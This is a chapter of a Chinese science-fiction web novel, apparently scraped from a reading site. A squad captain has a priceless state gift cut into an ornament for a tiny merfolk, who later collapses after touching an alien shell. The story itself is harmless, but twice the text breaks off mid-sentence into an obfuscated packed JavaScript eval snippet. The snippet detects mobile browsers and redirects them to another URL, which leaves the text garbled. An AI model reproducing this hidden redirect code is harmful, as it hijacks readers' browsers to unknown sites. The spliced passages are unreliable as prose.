“就是那颗啊,我说呢……”闻斯宇一开始没反应过来,到后面自己复读机似的复述一遍以后才发觉不对,嘴巴缓缓张大,发出一声振聋发聩的质疑:“啊?” 闻斯宇不敢置信道:“这是上次你保护元首有功,元首给的那颗被命名为‘星轨’的全星际独一无二的宝石?” 当时元首私人行程,意外撞上虫族偷袭,傅青桁在护卫队到场之前,先一步解决了虫族。 按理来说,也算是救了元首一命,但不知道为什么,封赏什么都没有,倒是口头夸了几句,赠送了这颗宝石算是嘉奖。 ——他们小队全员都在现场。 这颗宝石换元首的救命之恩有点小了,可宝石本身的价值并不低,甚至是上拍卖行能拍出天价。 星际唯一,独特的颜色和大小,以及天然形成的纯粹度都非常高。 就就就这么挂在小人鱼头上了? 不er……大家养小人鱼,用的都是假水晶仿钻石,傅队你在干嘛呢? 人鱼是这么养的吗?! 闻斯宇已经抛开队长不队长的身份了,猛然间,他又意识到了不对劲的地方,“傅队,我记得那颗‘星轨’挺大一颗,这颗看起来有点小吧。” 何止是有点小,缩了十几倍不止。 那看来应该是他理解错了。 傅青桁理了理小人鱼的眉心坠,有关小人鱼的事,他心情不错的给出回答:“‘星轨’对于小人鱼来说太大了,我找人做了切割。” 闻斯宇:“???” 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16508740|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要听一下自己在说什么。 宝石的大和完整性,不也是评价一颗宝石价值的关键吗。 完整的宝石切成一个个小块,还是……偏碎的非常小的块,难不成就为了要一个独特的颜色吗。 太奢侈了吧这也! 这么一弄,这颗宝石分成这堆宝石,而这堆宝石拿出去卖的话,肯定卖不到原本整颗的价格了。 如果是什么大场面要这么做也能理解,可偏偏就是为了给小人鱼做一个眉心坠。 闻斯宇感觉自己好像感受到了什么是有钱人的世界。 虞淮辞眨了眨眼睛,从闻斯宇的语气中听出一点门道,“咿呀?” 这个是定制的吗? 宝石听起来好像很重要的样子。 “很好看。”傅青桁将他脸颊边的碎发带到耳后,阳光下的宝石熠熠生辉。 但是显然,宝石的颜色比不上小人鱼那双漂亮眼睛,银白色的眼眸旁,宝石只能算是点缀。 闻斯宇想了一下自己给小人鱼买的最贵的配饰,好像也不超过两百块,这样一比,他养小人鱼养的简直太……粗糙了。 闻斯宇忍了又忍,还是没抗住,“完整的宝石切割成小块的话,那这颗宝石的价值是不是会……” “让小白开心,就是那颗石头最大的价值。”傅青桁并不缺钱,一颗宝石而已,如果不是它颜色特殊,还选不上它给小人鱼做配饰。 他会去拍卖行买更好的回来。 闻斯宇默默竖起大拇指,养小人鱼还是您会养。 我等凡人望尘莫及。 联邦元首送的宝石说切就切。 傅青桁问:“你刚才想说什么?” “说什么?”闻斯宇‘啊’了一声,“哦、我想说,医院那边爱丽丝精神力有了波动,眼睛睁开了但是人对外界的呼唤还是没什么反应。” 闻斯宇说:“您看您什么时候有空,需不需要过去看一下?” 基本上,在星际医疗评测下,这种情况已经能定性成植物人了。 闻斯宇话说的很委婉。 傅青桁作为他们小队的对方,一些场合还是得出面,避免落人口舌。 “我知道了。” “咿呀!” 现在就有空! 傅青桁的声音和小人鱼的声音同时响起。 他侧头,“嗯?” 虞淮辞抬手在傅青桁脸颊上揉揉,重重‘嗯’了一声。 傅青桁狐疑道:“你想去医院?” “呜!” 对! 傅青桁看了眼天色,“今天有点晚,要不明天再去?重症室五点关禁,禁止探望。一个晚上,病情不会有太大变化。” “呜……”虞淮辞想了想,差不多他们到医院也关禁了。 小人鱼只好点头,“咿呀。” 好吧。 那就明天去吧。 傅青桁曲起指尖蹭蹭小人鱼,“乖。” 闻斯宇站在边上听的是一脑袋问号。 请问,人和人鱼是怎么做到无障碍交流的?!人鱼能听懂就算了,科学表明这是正常现象,那傅队呢?你怎么理解到的人鱼的意思的啊? 啥时候进修的外语哇。 21.第 21 章 傅青桁见闻斯宇站那不动,拢了拢肩上的小人鱼,“还有事?” 闻斯宇愣愣的摇头,还没从傅青桁懂得多种物种语言中回过神来,“那傅队,明天见。” 傅青桁:“嗯。” 家用机器人按照指令要求,把两个大保温箱安置在了客厅。 就放在客厅正中间,两个箱子并排。 傅青桁单膝跪地半蹲下来,靠近箱子,“都拿出来吗?看的清楚一点。” “呜、” 不用了。 虞淮辞瞧着里面东西很多,一个个都摆出来太占地方不说,收拾起来也麻烦。 工作量太大,家用机器人都得干报废。 傅青桁说:“好,那就这么看。你想要哪块我给你拿。” “?!”虞淮辞惊讶的睁圆了眼睛。 呀? 不对、我刚才摇头了吗,好像没有哇。 真能听懂? 唔……并不会人鱼语言的虞淮辞陷入沉思,可我是随便叫的呀…… 咋听懂的。 这就是语言天赋吗。 还没有掌握星际文字和读音相对的虞淮辞投来了羡慕的目光。 傅青桁可以拿语气音调结合当时场景,分析出小人鱼可能会想表达的意思,猜测占据大头,但从小人鱼表情分析,就有点困难。 比如现在。 傅青桁:“不想要这箱里的?” “呜……”虞淮辞摇摇头,要的。 战斗中,虫族的优势是得天独厚的,鳌足上有一排排锋利的锯齿状钩子,再加上外壳,可以说是防御和攻击拉满的存在。 鳌足甚至可以直接穿透机甲驾驶舱,从内部捣毁撕裂。 网上机甲和虫族的对战视频很多,虞淮辞无聊的时候也刷到过。 只是拍摄的视频并不能聚焦在虫族的鳌足上,箱子里的鳌足,钩子的尖端都仿佛冒着寒光。 尤其——虫族的鳌足是带毒的。 摆弄药剂的人,就让人很难拒绝。 鳌足上面的毒素无法彻底清除,只有随着虫族死亡,时间一点点推移,毒素渐渐失效。 因为虫族强悍的实力,很多人会拿鳌足当战利品装饰摆在家里。 虞淮辞伸出手,想掰一块试试。 岂料,他手刚抬起来,离鳌足还有很长一段距离,就被一直关注着他的傅青桁握住了手。 “不能碰,有毒。”傅青桁把盖子合上,感觉不太保险,索性扣上,带小人鱼去看另一箱,“看看这个吧,等鳌足上毒性消了以后再拿给你玩好不好。” 虞淮辞从傅青桁指尖缝隙中钻出来,“咿呀。” 可我想要有毒的…… 傅青桁垂眸,小人鱼很明显是拒绝他提议的意思。 他犹豫了一下,在满足小人鱼想法和小人鱼的身体健康上,自然而然的会偏向后者。 傅青桁轻声像是在哄他,又认真解释:“但是,直接接触很危险,会中毒,中毒会死人的。” “呜、”虞淮辞歪了下脑袋。 会死人和我人鱼有什么关系? 傅青桁与虞淮辞四目相对,“真的不行,怎么说都不行。” “咿呀……”虞淮辞抱住他手指蹭蹭,委屈巴巴的望着他,声音低哑听起来很伤心的样子。 就拿近了看一眼也不行吗。 我真的很好奇。 都没有见过呢。 就一眼。 傅青桁顿了顿,原本坚定拒绝的意味在小人鱼的眼神下有了明显动容,但理智还是在和健康安全做抵抗,“不……” 他索性起身离箱子远点,将掌心的小人鱼放在肩上,“去看看别的箱子。” “咿呀、”虞淮辞眼睛一瞬不眨,垂落的眉心坠随着他歪头的动作而倾斜。 就想要这个。 “可是、” “呜……” “……很想要鳌足的话,我可以掰下来一小部分包起来给你,但是不能接手,不能碰,可以吗?” “咿呀!”虞淮辞的声音一下子变得轻快起来。 成交! 变化的太快,饶是傅青桁都愣了一瞬,他缓缓挑起半边眉毛,“小白?” 虞淮辞眨眨眼睛,对上傅青桁的视线,他清了清嗓子,想说什么但‘咿咿呀呀’的不好表达,索性借着坐在肩膀上的高度往前一扑,在傅青桁侧脸上亲了一口,“呜!” 你最好了! 柔软的触感像是撒娇的小猫舔你的手。 在小人鱼亲昵的接触下,傅青桁的神色有些许怔愣,陌生的感觉充斥着胸腔。 “呜?”虞淮辞努力仰起头,想去看清楚傅青桁的脸,奈何位置太靠近,脑袋再怎么向上扬,也很难看清。 直到太过向后,重心完全向后倒去——“咿呀?!” 一声短而急促的惊呼声响起。 傅青桁的动作先大脑一步做出反应,还没意识到发生什么的时候,已经扶住了躺倒在他肩上的小人鱼。 虞淮辞握住他的手指,稳住身形索性趴了进去。 “小心。”傅青桁叮嘱了一句,点点小人鱼的额头,“我去找东西掰鳌足。” 虞淮辞眯起眼睛,“呜!” 傅青桁把歪倒的眉心坠摆正,顺手帮他理了理头发。 虞淮辞老老实实趴在傅青桁手心,看他把掰下来的小块鳌足包裹起来。 一层、两层、三层…… 十五十六、 最后还包裹了一层像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16512948|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透明胶带一样的东西。 “???” 不对劲。 “好了。”傅青桁包好了以后,自己看着许是还比较满意。 虞淮辞看看傅青桁再看看包好的球。 ——这球快赶上半个他那么大了! 好消息,毒泄露不出来一点。 坏消息,鳌足也半点都看不见。 但……有总比没有强。 虞淮辞扒拉过包好的球垫下巴,大不了等回楼上,让傅青桁帮忙把这小块打碎,暂时还没有更精密的提取仪器,只能采取最原始最简单的处理方式。 凑合用吧,有就不错了。 傅青桁看着小人鱼垫着球戳来戳去,“那这箱还看吗?” “呜……”虞淮辞偏过头,看一下也行。 相比于这些鳌足,虞淮辞对另外一箱打磨好的虫族外壳就没多大兴趣了。 坚硬的外壳在虫族死后就变得没有那么刀枪不入,切割成大小合适的块,边边角角都被打磨到圆润。 外壳要比鳌足安全得多,尤其是处理过的,连划伤手的可能性都不会出现。 这东西就纯做装饰用了。 虞淮辞曲起指尖敲了敲,有点像是敲在铁皮上,漆黑如墨的外壳看着还挺有光泽感。 还是有毒的鳌足作用更大。 指尖与虫族壳接触,有轻微的精神力波动。 “嗯?”虞淮辞一怔,按理说,人的精神识海会随着人的死亡而消散,虫族的也是一样,死后精神力是不会残留太久的。 可现在……经过这么长时间的处理,怎么还有啊? 虞淮辞看了眼傅青桁,贴着傅青桁的手已经开始释放灵力,确认他精神识海一片安稳这才重新把注意力放在虫族外壳上。 避免这东西放在家里面精神力久久不散,日积月累会影响到傅青桁的精神识海,虞淮辞索性指尖点在外壳上,以接触点为中心散开灵力,从上至下以灵力覆盖精神力,然后将精神力吞没,直至消散。 下一刻,大片陌生的环境画面出现在眼前。 ‘不要相信人类。’ ‘这是合作。’ ‘完成最终目标。’ ‘除掉他。’ …… 细碎空灵的声音萦绕在耳边,不像是人在说话,却是零零碎碎的星际语言拼凑。 过度加载的记忆和陌生的画面让虞淮辞眼前一黑又一黑。 虞淮辞意识到了什么,他握住傅青桁的手,顾不上人鱼会不会说话这件事,开口便是:“我……” 没事,别担心,我就睡一觉,就好了…… 然而,想说出口的话只来得及讲出开头。 失去意识之前,是一声急切的,“小白?!”